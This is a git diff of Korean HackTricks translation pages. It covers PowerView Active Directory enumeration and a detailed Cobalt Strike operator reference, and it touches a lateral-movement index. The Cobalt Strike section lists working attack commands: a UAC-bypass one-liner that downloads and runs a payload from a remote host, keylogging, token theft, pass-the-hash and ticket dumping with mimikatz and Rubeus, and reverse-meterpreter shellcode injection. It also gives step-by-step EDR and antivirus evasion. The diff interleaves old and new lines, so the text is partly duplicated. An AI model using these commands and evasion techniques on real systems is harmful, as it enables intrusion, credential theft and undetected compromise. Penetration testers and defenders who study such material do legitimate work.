Get-ObjectAcl -SamAccountName <username> -ResolveGUIDs
@ -199,13 +199,13 @@ Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReference -match "RDPUser
Get-NetGroupMember -GroupName "Administrators" -Recurse | ?{$_.IsGroup -match "false"} | %{Get-ObjectACL -SamAccountName $_.MemberName -ResolveGUIDs} | select ObjectDN, IdentityReference, ActiveDirectoryRights
```
### 공유 파일 및 폴더
```powershell
```bash
Get-NetFileServer #Search file servers. Lot of users use to be logged in this kind of servers
Find-DomainShare -CheckShareAccess #Search readable shares
Find-InterestingDomainShareFile #Find interesting files, can use filters
```
### 도메인 신뢰
```powershell
```bash
Get-NetDomainTrust #Get all domain trusts (parent, children and external)
Get-DomainTrust #Same
Get-NetForestDomain | Get-NetDomainTrust #Enumerate all the trusts of all the domains found
@ -222,7 +222,7 @@ Get-DomainForeingUser #Get users with privileges in other domains inside the for
Get-DomainForeignGroupMember #Get groups with privileges in other domains inside the forest
```
### L**ow**-**hanging fruit**
```powershell
```bash
#Check if any user passwords are set
$FormatEnumerationLimit=-1;Get-DomainUser -LDAPFilter '(userPassword=*)' -Properties samaccountname,memberof,userPassword | % {Add-Member -InputObject $_ NoteProperty 'Password' "$([System.Text.Encoding]::ASCII.GetString($_.userPassword))" -PassThru} | fl
@ -260,7 +260,7 @@ Invoke-UserHunter -GroupName "RDPUsers"
Invoke-UserHunter -Stealth
```
### 삭제된 객체
```powershell
```bash
#This isn't a powerview command, it's a feature from the AD management powershell module of Microsoft
#You need to be in the AD Recycle Bin group of the AD to list the deleted AD objects
Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
@ -268,22 +268,22 @@ Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
### MISC
#### SID to Name
```powershell
```bash
"S-1-5-21-1874506631-3219952063-538504511-2136" | Convert-SidToName
```
#### Kerberoast
```powershell
```bash
Invoke-Kerberoast [-Identity websvc] #Without "-Identity" kerberoast all possible users
```
#### 다른 자격 증명 사용 (인수)
```powershell
```bash
# use an alterate creadential for any function
$SecPassword = ConvertTo-SecureString 'BurgerBurgerBurger!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainUser -Credential $Cred
```
#### 사용자 가장하기
```powershell
```bash
# if running in -sta mode, impersonate another credential a la "runas /netonly"
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
@ -292,7 +292,7 @@ Invoke-UserImpersonation -Credential $Cred
Invoke-RevertToSelf
```
#### 값 설정
```powershell
```bash
# set the specified property for the given user identity
Set-DomainObject testuser -Set @{'mstsinitialprogram'='\\EVIL\program.exe'} -Verbose
# Set the owner of 'dfm' in the current domain to 'harmj0y'

261
src/windows-hardening/cobalt-strike.md
View File

@ -4,15 +4,15 @@
### C2 Listeners
`Cobalt Strike -> Listeners -> Add/Edit` 그러면 수신 대기할 위치와 사용할 비콘 종류(http, dns, smb...) 등을 선택할 수 있습니다.
`Cobalt Strike -> Listeners -> Add/Edit` 그런 다음 수신 대기할 위치와 사용할 비콘의 종류(http, dns, smb...) 등을 선택할 수 있습니다.
### Peer2Peer Listeners
이 리스너의 비콘은 C2와 직접 통신할 필요가 없으며, 다른 비콘을 통해 통신할 수 있습니다.
`Cobalt Strike -> Listeners -> Add/Edit` 그러면 TCP 또는 SMB 비콘을 선택해야 합니다.
`Cobalt Strike -> Listeners -> Add/Edit` 그런 다음 TCP 또는 SMB 비콘을 선택해야 합니다.
* **TCP 비콘은 선택한 포트에 리스너를 설정합니다**. TCP 비콘에 연결하려면 다른 비콘에서 `connect <ip> <port>` 명령을 사용하세요.
* **TCP 비콘은 선택한 포트에서 리스너를 설정합니다**. TCP 비콘에 연결하려면 다른 비콘에서 `connect <ip> <port>` 명령을 사용하십시오.
* **smb 비콘은 선택한 이름의 파이프 이름에서 수신 대기합니다**. SMB 비콘에 연결하려면 `link [target] [pipe]` 명령을 사용해야 합니다.
### Generate & Host payloads
@ -28,42 +28,47 @@
#### Generate & Host payloads
`Attacks -> Web Drive-by -> Scripted Web Delivery (S)` 이 명령은 cobalt strike에서 비콘을 다운로드하기 위한 스크립트/실행 파일을 생성합니다. 형식은 bitsadmin, exe, powershell 및 python입니다.
`Attacks -> Web Drive-by -> Scripted Web Delivery (S)` 이는 비콘을 cobalt strike에서 다운로드하기 위한 스크립트/실행 파일을 생성합니다. 형식은 bitsadmin, exe, powershell 및 python과 같습니다.
#### Host Payloads
호스팅할 파일이 이미 웹 서버에 있다면 `Attacks -> Web Drive-by -> Host File`로 가서 호스팅할 파일과 웹 서버 구성을 선택하세요.
호스팅할 파일이 이미 웹 서버에 있는 경우 `Attacks -> Web Drive-by -> Host File`로 이동하여 호스팅할 파일과 웹 서버 구성을 선택하십시오.
### Beacon Options
<pre class="language-bash"><code class="lang-bash"># Execute local .NET binary
execute-assembly </path/to/executable.exe>
# 1MB보다 큰 어셈블리를 로드하려면 malleable 프로필의 'tasks_max_size' 속성을 수정해야 합니다.
# Screenshots
printscreen # PrintScr 방법으로 단일 스크린샷 찍기
printscreen # PrintScr 방법을 통해 단일 스크린샷 찍기
screenshot # 단일 스크린샷 찍기
screenwatch # 데스크탑의 주기적인 스크린샷 찍기
## 보기 -> 스크린샷으로 가서 확인하세요
## 보기 -> 스크린샷으로 가서 확인하십시오.
# keylogger
keylogger [pid] [x86|x64]
## 보기 > 키스트로크에서 눌린 키를 확인하세요
## 보기 > 키스트로크에서 눌린 키를 확인하십시오.
# portscan
portscan [pid] [arch] [targets] [ports] [arp|icmp|none] [max connections] # 다른 프로세스 내에서 포트 스캔 작업 주입
portscan [targets] [ports] [arp|icmp|none] [max connections]
# Powershell
# Powershell 모듈 가져오기
## Powershell 모듈 가져오기
powershell-import C:\path\to\PowerView.ps1
powershell <여기에 powershell cmd를 입력하세요>
powershell-import /root/Tools/PowerSploit/Privesc/PowerUp.ps1
powershell <여기에 powershell cmd를 작성하십시오> # 이는 지원되는 가장 높은 powershell 버전을 사용합니다 (opsec 아님)
powerpick <cmdlet> <args> # 이는 spawnto에 의해 지정된 희생 프로세스를 생성하고, 더 나은 opsec를 위해 UnmanagedPowerShell을 주입합니다 (로깅 없음)
powerpick Invoke-PrivescAudit | fl
psinject <pid> <arch> <commandlet> <arguments> # 이는 지정된 프로세스에 UnmanagedPowerShell을 주입하여 PowerShell cmdlet을 실행합니다.
# User impersonation
## 자격 증명으로 토큰 생성
make_token [DOMAIN\user] [password] # 네트워크에서 사용자를 가장하기 위한 토큰 생성
ls \\computer_name\c$ # 생성된 토큰을 사용하여 C$에 접근 시도
ls \\computer_name\c$ # 생성된 토큰을 사용하여 컴퓨터의 C$에 접근 시도
rev2self # make_token으로 생성된 토큰 사용 중지
## make_token 사용 시 이벤트 4624가 생성됩니다: 계정이 성공적으로 로그인되었습니다. 이 이벤트는 Windows 도메인에서 매우 일반적이지만, 로그온 유형으로 필터링하여 좁힐 수 있습니다. 위에서 언급한 바와 같이, 이는 LOGON32_LOGON_NEW_CREDENTIALS를 사용하며, 이는 유형 9입니다.
## make_token 사용 시 이벤트 4624가 생성됩니다: 계정이 성공적으로 로그인되었습니다. 이 이벤트는 Windows 도메인에서 매우 일반적이지만, 로그온 유형으로 필터링하여 좁힐 수 있습니다. 위에서 언급했듯이, 이는 LOGON32_LOGON_NEW_CREDENTIALS를 사용하며, 이는 유형 9입니다.
# UAC Bypass
elevate svc-exe <listener>
@ -71,34 +76,35 @@ elevate uac-token-duplication <listener>
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
## pid에서 토큰 훔치기
## make_token과 유사하지만 프로세스에서 토큰을 훔칩니다
## make_token과 유사하지만 프로세스에서 토큰을 훔칩니다.
steal_token [pid] # 또한, 이는 네트워크 작업에 유용하며, 로컬 작업에는 유용하지 않습니다.
## API 문서에서 이 로그온 유형은 "호출자가 현재 토큰을 복제할 수 있도록 허용합니다"라고 알려줍니다. 그래서 비콘 출력에서 Impersonated <current_username>라고 표시됩니다 - 이는 우리의 복제된 토큰을 가장하고 있다는 의미입니다.
ls \\computer_name\c$ # 생성된 토큰을 사용하여 C$에 접근 시도
## API 문서에서 우리는 이 로그온 유형이 "호출자가 현재 토큰을 복제할 수 있도록 허용합니다"라고 알고 있습니다. 이 때문에 비콘 출력은 Impersonated <current_username>이라고 표시됩니다 - 이는 우리의 복제된 토큰을 가장하고 있습니다.
ls \\computer_name\c$ # 생성된 토큰을 사용하여 컴퓨터의 C$에 접근 시도
rev2self # steal_token에서 토큰 사용 중지
## 새로운 자격 증명으로 프로세스 시작
spawnas [domain\username] [password] [listener] # 읽기 권한이 있는 디렉토리에서 수행: cd C:\
## make_token과 마찬가지로, 이는 Windows 이벤트 4624를 생성합니다: 계정이 성공적으로 로그인되었습니다. 그러나 로그온 유형은 2(LOGON32_LOGON_INTERACTIVE)입니다. 호출 사용자(TargetUserName)와 가장된 사용자(TargetOutboundUserName)가 상세히 기록됩니다.
spawnas [domain\username] [password] [listener] # 읽기 권한이 있는 디렉토리에서 수행하십시오: cd C:\
## make_token과 유사하게, 이는 Windows 이벤트 4624를 생성합니다: 계정이 성공적으로 로그인되었습니다. 그러나 로그온 유형은 2 (LOGON32_LOGON_INTERACTIVE)입니다. 호출 사용자(TargetUserName)와 가장된 사용자(TargetOutboundUserName)가 상세히 설명됩니다.
## Inject into process
## 프로세스에 주입
inject [pid] [x64|x86] [listener]
## OpSec 관점에서: 정말 필요하지 않는 한 크로스 플랫폼 주입을 수행하지 마세요 (예: x86 -> x64 또는 x64 -> x86).
## OpSec 관점에서: 정말 필요하지 않는 한 크로스 플랫폼 주입을 수행하지 마십시오 (예: x86 -> x64 또는 x64 -> x86).
## Pass the hash
## 이 수정 프로세스는 LSASS 메모리 패칭을 요구하며, 이는 고위험 작업으로 로컬 관리자 권한이 필요하고 Protected Process Light (PPL)가 활성화된 경우에는 실행 가능성이 낮습니다.
## 해시 전달
## 이 수정 프로세스는 LSASS 메모리를 패치해야 하며, 이는 고위험 작업으로 로컬 관리자 권한이 필요하고 Protected Process Light (PPL)가 활성화된 경우에는 실행 가능성이 낮습니다.
pth [pid] [arch] [DOMAIN\user] [NTLM hash]
pth [DOMAIN\user] [NTLM hash]
## Mimikatz를 통한 해시 전달
## mimikatz를 통한 해시 전달
mimikatz sekurlsa::pth /user:<username> /domain:<DOMAIN> /ntlm:<NTLM HASH> /run:"powershell -w hidden"
## /run 없이, mimikatz는 cmd.exe를 생성합니다. 데스크탑에서 실행 중인 사용자로 실행하면 셸을 볼 수 있습니다 (SYSTEM으로 실행 중이면 문제 없습니다).
steal_token <pid> # Mimikatz에 의해 생성된 프로세스에서 토큰 훔치기
## /run 없이, mimikatz는 cmd.exe를 생성합니다. 데스크탑에서 실행 중인 사용자로 실행하면 셸을 볼 수 있습니다 (SYSTEM으로 실행 중이면 괜찮습니다).
steal_token <pid> # mimikatz에 의해 생성된 프로세스에서 토큰 훔치기
## Pass the ticket
## 티켓 전달
## 티켓 요청
execute-assembly /root/Tools/SharpCollection/Seatbelt.exe -group=system
execute-assembly C:\path\Rubeus.exe asktgt /user:<username> /domain:<domain> /aes256:<aes_keys> /nowrap /opsec
## 새로운 티켓을 사용하기 위해 새로운 로그온 세션 생성 (손상된 세션을 덮어쓰지 않기 위해)
## 새로운 티켓과 함께 사용할 새로운 로그온 세션 생성 (손상된 세션을 덮어쓰지 않기 위해)
make_token <domain>\<username> DummyPass
## PowerShell 세션에서 공격자 머신에 티켓을 작성하고 로드합니다.
[System.IO.File]::WriteAllBytes("C:\Users\Administrator\Desktop\jkingTGT.kirbi", [System.Convert]::FromBase64String("[...ticket...]"))
@ -110,10 +116,10 @@ execute-assembly C:\path\Rubeus.exe asktgt /user:<USERNAME> /domain:<DOMAIN> /ae
## 해당 프로세스에서 토큰 훔치기
steal_token <pid>
## Extract ticket + Pass the ticket
## 티켓 추출 + 티켓 전달
### 티켓 목록
execute-assembly C:\path\Rubeus.exe triage
### 관심 있는 티켓을 luid로 덤프
### luid로 흥미로운 티켓 덤프
execute-assembly C:\path\Rubeus.exe dump /service:krbtgt /luid:<luid> /nowrap
### 새로운 로그온 세션 생성, luid 및 processid 기록
execute-assembly C:\path\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe
@ -123,51 +129,50 @@ execute-assembly C:\path\Rubeus.exe ptt /luid:0x92a8c /ticket:[...base64-ticket.
steal_token <pid>
# Lateral Movement
## 토큰이 생성되면 사용됩니다
## 토큰이 생성되면 사용됩니다.
jump [method] [target] [listener]
## 방법:
## psexec x86 서비스 EXE 아티팩트를 실행하기 위해 서비스 사용
## psexec64 x64 서비스 EXE 아티팩트를 실행하기 위해 서비스 사용
## psexec_psh x86 PowerShell 원라이너를 실행하기 위해 서비스 사용
## winrm x86 WinRM을 통해 PowerShell 스크립트 실행
## winrm64 x64 WinRM을 통해 PowerShell 스크립트 실행
## psexec x86 서비스 EXE 아티팩트를 실행하기 위해 서비스를 사용합니다.
## psexec64 x64 서비스 EXE 아티팩트를 실행하기 위해 서비스를 사용합니다.
## psexec_psh x86 PowerShell 원라이너를 실행하기 위해 서비스를 사용합니다.
## winrm x86 WinRM을 통해 PowerShell 스크립트를 실행합니다.
## winrm64 x64 WinRM을 통해 PowerShell 스크립트를 실행합니다.
## wmi_msbuild x64 msbuild 인라인 C# 작업을 사용한 wmi 측면 이동 (opsec)
remote-exec [method] [target] [command]
remote-exec [method] [target] [command] # remote-exec는 출력을 반환하지 않습니다.
## 방법:
<strong>## psexec 서비스 제어 관리자 통해 원격 실행
</strong>## winrm WinRM을 통해 원격 실행 (PowerShell)
## psexec 서비스 제어 관리자 통해 원격 실행
## winrm WinRM (PowerShell)을 통해 원격 실행
## wmi WMI를 통해 원격 실행
## WMI로 비콘을 실행하려면 (jump 명령에 포함되지 않음) 비콘을 업로드하고 실행하세요.
## wmi로 비콘을 실행하려면 (jump 명령에 포함되지 않음) 비콘을 업로드하고 실행하십시오.
beacon> upload C:\Payloads\beacon-smb.exe
beacon> remote-exec wmi srv-1 C:\Windows\beacon-smb.exe
# Pass session to Metasploit - Through listener
## 메타스플로잇 호스트에서
## 메타플로잇 호스트에서
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_http
msf6 exploit(multi/handler) > set LHOST eth0
msf6 exploit(multi/handler) > set LPORT 8080
msf6 exploit(multi/handler) > exploit -j
## 코발트에서: Listeners > Add 및 Payload를 Foreign HTTP로 설정합니다. Host를 10.10.5.120으로, Port를 8080으로 설정하고 저장을 클릭합니다.
## cobalt에서: Listeners > Add 및 Payload를 Foreign HTTP로 설정합니다. Host를 10.10.5.120으로, Port를 8080으로 설정하고 저장을 클릭합니다.
beacon> spawn metasploit
## 외부 리스너로 x86 Meterpreter 세션만 생성할 수 있습니다.
# Pass session to Metasploit - Through shellcode injection
## 메타스플로잇 호스트에서
## 메타플로잇 호스트에서
msfvenom -p windows/x64/meterpreter_reverse_http LHOST=<IP> LPORT=<PORT> -f raw -o /tmp/msf.bin
## msfvenom을 실행하고 multi/handler 리스너를 준비합니다.
## bin 파일을 코발트 스트라이크 호스트로 복사합니다.
## bin 파일을 cobalt strike 호스트로 복사합니다.
ps
shinject <pid> x64 C:\Payloads\msf.bin # x64 프로세스에 메타스플로잇 셸코드 주입
shinject <pid> x64 C:\Payloads\msf.bin # x64 프로세스에 메타스플로잇 셸코드를 주입합니다.
# Pass metasploit session to cobalt strike
## 스테이지리스 비콘 셸코드를 생성합니다. Attacks > Packages > Windows Executable (S)로 가서 원하는 리스너를 선택하고 출력 유형으로 Raw를 선택한 후 x64 페이로드를 선택합니다.
## 메타스플로잇에서 post/windows/manage/shellcode_inject를 사용하여 생성된 코발트 스트라이크 셸코드를 주입합니다.
## 스테이지리스 비콘 셸코드를 생성합니다. Attacks > Packages > Windows Executable (S)로 이동하여 원하는 리스너를 선택하고 출력 유형으로 Raw를 선택한 후 x64 페이로드를 선택합니다.
## 메타플로잇에서 post/windows/manage/shellcode_inject를 사용하여 생성된 cobalt strike 셸코드를 주입합니다.
# Pivoting
## 팀 서버에서 소켓 프록시 열기
@ -176,39 +181,170 @@ beacon> socks 1080
# SSH connection
beacon> ssh 10.10.17.12:22 username password</code></pre>
## Avoiding AVs
## Opsec
### Artifact Kit
### Execute-Assembly
보통 `/opt/cobaltstrike/artifact-kit`에서 코드를 찾을 수 있으며, 코발트 스트라이크가 이진 비콘을 생성하는 데 사용할 사전 컴파일된 템플릿이 `/src-common`에 있습니다.
**`execute-assembly`**는 원격 프로세스 주입을 사용하여 지정된 프로그램을 실행하는 **희생 프로세스**를 사용합니다. 이는 매우 시끄럽습니다. 프로세스 내부에 주입하기 위해 특정 Win API가 사용되며, 모든 EDR이 이를 확인하고 있습니다. 그러나 동일한 프로세스에 무언가를 로드하는 데 사용할 수 있는 몇 가지 사용자 지정 도구가 있습니다:
생성된 백도어(또는 컴파일된 템플릿)와 함께 [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck)를 사용하면 Defender가 트리거되는 원인을 찾을 수 있습니다. 보통 문자열입니다. 따라서 백도어를 생성하는 코드를 수정하여 해당 문자열이 최종 이진 파일에 나타나지 않도록 할 수 있습니다.
- [https://github.com/anthemtotheego/InlineExecute-Assembly](https://github.com/anthemtotheego/InlineExecute-Assembly)
- [https://github.com/kyleavery/inject-assembly](https://github.com/kyleavery/inject-assembly)
- Cobalt Strike에서는 BOF (Beacon Object Files)를 사용할 수도 있습니다: [https://github.com/CCob/BOF.NET](https://github.com/CCob/BOF.NET)
- [https://github.com/kyleavery/inject-assembly](https://github.com/kyleavery/inject-assembly)
agressor 스크립트 `https://github.com/outflanknl/HelpColor`는 Cobalt Strike에서 `helpx` 명령을 생성하여 BOF(녹색), Frok&Run(노란색) 및 유사한 것, 또는 ProcessExecution, injection 또는 유사한 것(빨간색)으로 명령에 색상을 추가합니다. 이는 어떤 명령이 더 은밀한지 아는 데 도움이 됩니다.
### Act as the user
`Seatbelt.exe LogonEvents ExplicitLogonEvents PoweredOnEvents`와 같은 이벤트를 확인할 수 있습니다:
- 보안 EID 4624 - 일반적인 운영 시간을 알기 위해 모든 대화형 로그온을 확인합니다.
- 시스템 EID 12,13 - 종료/시작/절전 빈도를 확인합니다.
- 보안 EID 4624/4625 - 유효/무효 NTLM 시도를 확인합니다.
- 보안 EID 4648 - 이 이벤트는 평문 자격 증명이 사용되어 로그온할 때 생성됩니다. 프로세스가 이를 생성한 경우, 이진 파일은 구성 파일이나 코드 내에 평문 자격 증명을 포함할 가능성이 있습니다.
Cobalt Strike에서 `jump`를 사용할 때는 새로운 프로세스가 더 합법적으로 보이도록 `wmi_msbuild` 방법을 사용하는 것이 좋습니다.
### Use computer accounts
수비수들이 사용자로부터 생성된 이상한 행동을 확인하는 것이 일반적이며, **서비스 계정 및 `*$`와 같은 컴퓨터 계정을 모니터링에서 제외합니다**. 이러한 계정을 사용하여 측면 이동 또는 권한 상승을 수행할 수 있습니다.
### Use stageless payloads
스테이지리스 페이로드는 스테이지 페이로드보다 덜 시끄럽습니다. 왜냐하면 C2 서버에서 두 번째 단계를 다운로드할 필요가 없기 때문입니다. 이는 초기 연결 이후에 네트워크 트래픽을 생성하지 않으므로 네트워크 기반 방어에 의해 탐지될 가능성이 줄어듭니다.
### Tokens & Token Store
토큰을 훔치거나 생성할 때 주의하십시오. EDR이 모든 스레드의 모든 토큰을 열거하고 **다른 사용자** 또는 심지어 SYSTEM에 속하는 **토큰을 찾을 수 있는 가능성이 있습니다**.
이는 비콘당 토큰을 저장할 수 있게 하여 동일한 토큰을 반복해서 훔칠 필요가 없습니다. 이는 측면 이동이나 훔친 토큰을 여러 번 사용해야 할 때 유용합니다:
- token-store steal <pid>
- token-store steal-and-use <pid>
- token-store show
- token-store use <id>
- token-store remove <id>
- token-store remove-all
측면 이동 시, 일반적으로 **새로운 토큰을 생성하는 것보다 토큰을 훔치는 것이 더 좋습니다**.
### Guardrails
Cobalt Strike에는 **Guardrails**라는 기능이 있어 방어자가 탐지할 수 있는 특정 명령이나 작업의 사용을 방지하는 데 도움이 됩니다. Guardrails는 `make_token`, `jump`, `remote-exec`와 같은 특정 명령을 차단하도록 구성할 수 있으며, 이는 일반적으로 측면 이동이나 권한 상승에 사용됩니다.
또한, 리포지토리 [https://github.com/Arvanaghi/CheckPlease/wiki/System-Related-Checks](https://github.com/Arvanaghi/CheckPlease/wiki/System-Related-Checks)에는 페이로드를 실행하기 전에 고려할 수 있는 몇 가지 검사 및 아이디어가 포함되어 있습니다.
### Tickets encryption
AD에서 티켓의 암호화에 주의하십시오. 기본적으로 일부 도구는 Kerberos 티켓에 대해 RC4 암호화를 사용하며, 이는 AES 암호화보다 덜 안전합니다. 기본적으로 최신 환경은 AES를 사용합니다. 이는 약한 암호화 알고리즘을 모니터링하는 방어자에 의해 탐지될 수 있습니다.
### Avoid Defaults
Cobalt Strike를 사용할 때 기본적으로 SMB 파이프는 `msagent_####` 및 `"status_####`라는 이름을 가집니다. 이러한 이름을 변경하십시오. Cobalt Strike에서 기존 파이프의 이름을 확인하려면 다음 명령을 사용하십시오: `ls \\.\pipe\`
또한 SSH 세션에서는 `\\.\pipe\postex_ssh_####`라는 파이프가 생성됩니다. 이를 `set ssh_pipename "<new_name>";`으로 변경하십시오.
또한 포스트 익스플로잇 공격에서 `\\.\pipe\postex_####` 파이프는 `set pipename "<new_name>"`으로 수정할 수 있습니다.
Cobalt Strike 프로필에서도 다음과 같은 사항을 수정할 수 있습니다:
- `rwx` 사용 피하기
- `process-inject {...}` 블록에서 프로세스 주입 동작이 작동하는 방식 (어떤 API가 사용될 것인지)
- `post-ex {…}` 블록에서 "fork and run"이 작동하는 방식
- 대기 시간
- 메모리에 로드될 이진 파일의 최대 크기
- 메모리 발자국 및 DLL 내용 `stage {...}` 블록으로
- 네트워크 트래픽
### Bypass memory scanning
일부 EDR은 알려진 맬웨어 서명을 위해 메모리를 스캔합니다. Coblat Strike는 백도어를 메모리에서 암호화할 수 있는 `sleep_mask` 기능을 수정할 수 있도록 허용합니다.
### Noisy proc injections
프로세스에 코드를 주입할 때 이는 일반적으로 매우 시끄럽습니다. 이는 **정상적인 프로세스가 일반적으로 이 작업을 수행하지 않기 때문이며, 이를 수행하는 방법이 매우 제한적이기 때문입니다**. 따라서 이는 행동 기반 탐지 시스템에 의해 탐지될 수 있습니다. 또한, EDR이 **디스크에 없는 코드를 포함하는 스레드를 스캔하여 탐지할 수 있습니다** (브라우저와 같은 프로세스는 JIT를 사용하는 경우가 일반적입니다). 예: [https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2](https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2)
### Spawnas | PID and PPID relationships
새로운 프로세스를 생성할 때는 **프로세스 간의 정규 부모-자식 관계를 유지하는 것이 중요합니다**. svchost.exec가 iexplorer.exe를 실행하면 의심스러워 보입니다. 왜냐하면 svchost.exe는 정상적인 Windows 환경에서 iexplorer.exe의 부모가 아니기 때문입니다.
Cobalt Strike에서 새로운 비콘이 생성될 때 기본적으로 **`rundll32.exe`**를 사용하는 프로세스가 생성되어 새로운 리스너를 실행합니다. 이는 매우 은밀하지 않으며 EDR에 의해 쉽게 탐지될 수 있습니다. 또한, `rundll32.exe`는 인수 없이 실행되어 더욱 의심스러워집니다.
다음 Cobalt Strike 명령을 사용하여 새로운 비콘을 생성할 다른 프로세스를 지정할 수 있으며, 이를 통해 탐지를 줄일 수 있습니다:
```bash
spawnto x86 svchost.exe
```
당신은 프로필에서 **`spawnto_x86` 및 `spawnto_x64`** 설정을 변경할 수 있습니다.
### 공격자의 트래픽 프록시
공격자는 때때로 도구를 로컬에서 실행할 수 있어야 하며, 심지어 리눅스 머신에서도 피해자의 트래픽이 도구에 도달하게 해야 합니다 (예: NTLM 릴레이).
게다가, 패스-더-해시 또는 패스-더-티켓 공격을 수행할 때 공격자가 **자신의 LSASS 프로세스에 이 해시 또는 티켓을 추가하는 것이** 더 은밀할 수 있으며, 피해자 머신의 LSASS 프로세스를 수정하는 것보다 더 나을 수 있습니다.
그러나 **생성된 트래픽에 주의해야** 합니다. 백도어 프로세스에서 비정상적인 트래픽(케르베로스?)을 전송할 수 있기 때문입니다. 이를 위해 브라우저 프로세스로 피벗할 수 있지만, 프로세스에 자신을 주입하는 것이 발각될 수 있으므로 은밀한 방법을 생각해야 합니다.
```bash
### Avoiding AVs
#### AV/AMSI/ETW Bypass
Check the page:
{{#ref}}
av-bypass.md
{{#endref}}
#### Artifact Kit
Usually in `/opt/cobaltstrike/artifact-kit` you can find the code and pre-compiled templates (in `/src-common`) of the payloads that cobalt strike is going to use to generate the binary beacons.
Using [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) with the generated backdoor (or just with the compiled template) you can find what is making defender trigger. It's usually a string. Therefore you can just modify the code that is generating the backdoor so that string doesn't appear in the final binary.
After modifying the code just run `./build.sh` from the same directory and copy the `dist-pipe/` folder into the Windows client in `C:\Tools\cobaltstrike\ArtifactKit`.
코드를 수정한 후 동일한 디렉토리에서 `./build.sh`를 실행하고 `dist-pipe/` 폴더를 Windows 클라이언트의 `C:\Tools\cobaltstrike\ArtifactKit`로 복사하세요.
```
pscp -r root@kali:/opt/cobaltstrike/artifact-kit/dist-pipe .
```
`dist-pipe\artifact.cna` 공격 스크립트를 로드하는 것을 잊지 마세요. 이는 Cobalt Strike가 우리가 원하는 디스크의 리소스를 사용하도록 지시합니다.
### Resource Kit
Don't forget to load the aggressive script `dist-pipe\artifact.cna` to indicate Cobalt Strike to use the resources from disk that we want and not the ones loaded.
ResourceKit 폴더에는 PowerShell, VBA 및 HTA를 포함한 Cobalt Strike의 스크립트 기반 페이로드 템플릿이 포함되어 있습니다.
#### Resource Kit
The ResourceKit folder contains the templates for Cobalt Strike's script-based payloads including PowerShell, VBA and HTA.
Using [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) with the templates you can find what is defender (AMSI in this case) not liking and modify it:
템플릿과 함께 [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck)를 사용하면 방어 시스템(이 경우 AMSI)이 싫어하는 것을 찾아 수정할 수 있습니다.
```
.\ThreatCheck.exe -e AMSI -f .\cobaltstrike\ResourceKit\template.x64.ps1
```
감지된 라인을 수정하면 잡히지 않는 템플릿을 생성할 수 있습니다.
Cobalt Strike가 우리가 원하는 리소스를 디스크에서 사용하도록 하려면 공격적인 스크립트 `ResourceKit\resources.cna`를 로드하는 것을 잊지 마세요.
Modifying the detected lines one can generate a template that won't be caught.
Don't forget to load the aggressive script `ResourceKit\resources.cna` to indicate Cobalt Strike to luse the resources from disk that we want and not the ones loaded.
#### Function hooks | Syscall
Function hooking is a very common method of ERDs to detect malicious activity. Cobalt Strike allows you to bypass these hooks by using **syscalls** instead of the standard Windows API calls using the **`None`** config, or use the `Nt*` version of a function with the **`Direct`** setting, or just jumping over the `Nt*` function with the **`Indirect`** option in the malleable profile. Depending on the system, an optino might be more stealth then the other.
This can be set in the profile or suing the command **`syscall-method`**
However, this could also be noisy.
Some option granted by Cobalt Strike to bypass function hooks is to remove those hooks with: [**unhook-bof**](https://github.com/Cobalt-Strike/unhook-bof).
You could also check with functions are hooked with [**https://github.com/Mr-Un1k0d3r/EDRs**](https://github.com/Mr-Un1k0d3r/EDRs) or [**https://github.com/matterpreter/OffensiveCSharp/tree/master/HookDetector**](https://github.com/matterpreter/OffensiveCSharp/tree/master/HookDetector)
```bash
cd C:\Tools\neo4j\bin
neo4j.bat console
http://localhost:7474/ --> Change password
http://localhost:7474/ --> 비밀번호 변경
execute-assembly C:\Tools\SharpHound3\SharpHound3\bin\Debug\SharpHound.exe -c All -d DOMAIN.LOCAL
# Change powershell
C:\Tools\cobaltstrike\ResourceKit
template.x64.ps1
@ -219,7 +355,4 @@ cobalt strike --> script manager --> Load --> Cargar C:\Tools\cobaltstrike\Resou
#artifact kit
cd C:\Tools\cobaltstrike\ArtifactKit
pscp -r root@kali:/opt/cobaltstrike/artifact-kit/dist-pipe .
```

4
src/windows-hardening/lateral-movement/README.md
View File

@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
외부 시스템에서 명령을 실행하는 다양한 방법이 있습니다. 여기에서 주요 Windows 측면 이동 기술이 작동하는 방식에 대한 설명을 찾을 수 있습니다:
외부 시스템에서 명령을 실행하는 다양한 방법이 있으며, 여기에서 주요 Windows 측면 이동 기술이 작동하는 방식에 대한 설명을 찾을 수 있습니다:
- [**PsExec**](psexec-and-winexec.md)
- [**SmbExec**](smbexec.md)
@ -10,6 +10,8 @@
- [**AtExec / SchtasksExec**](atexec.md)
- [**WinRM**](winrm.md)
- [**DCOM Exec**](dcom-exec.md)
- [**RDPexec**](rdpexec.md)
- [**SCMexec**](scmexec.md)
- [**Pass the cookie**](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.html) (cloud)
- [**Pass the PRT**](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.html) (cloud)
- [**Pass the AzureAD Certificate**](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.html) (cloud)

12
src/windows-hardening/lateral-movement/atexec.md
View File

@ -4,7 +4,7 @@
## How Does it works
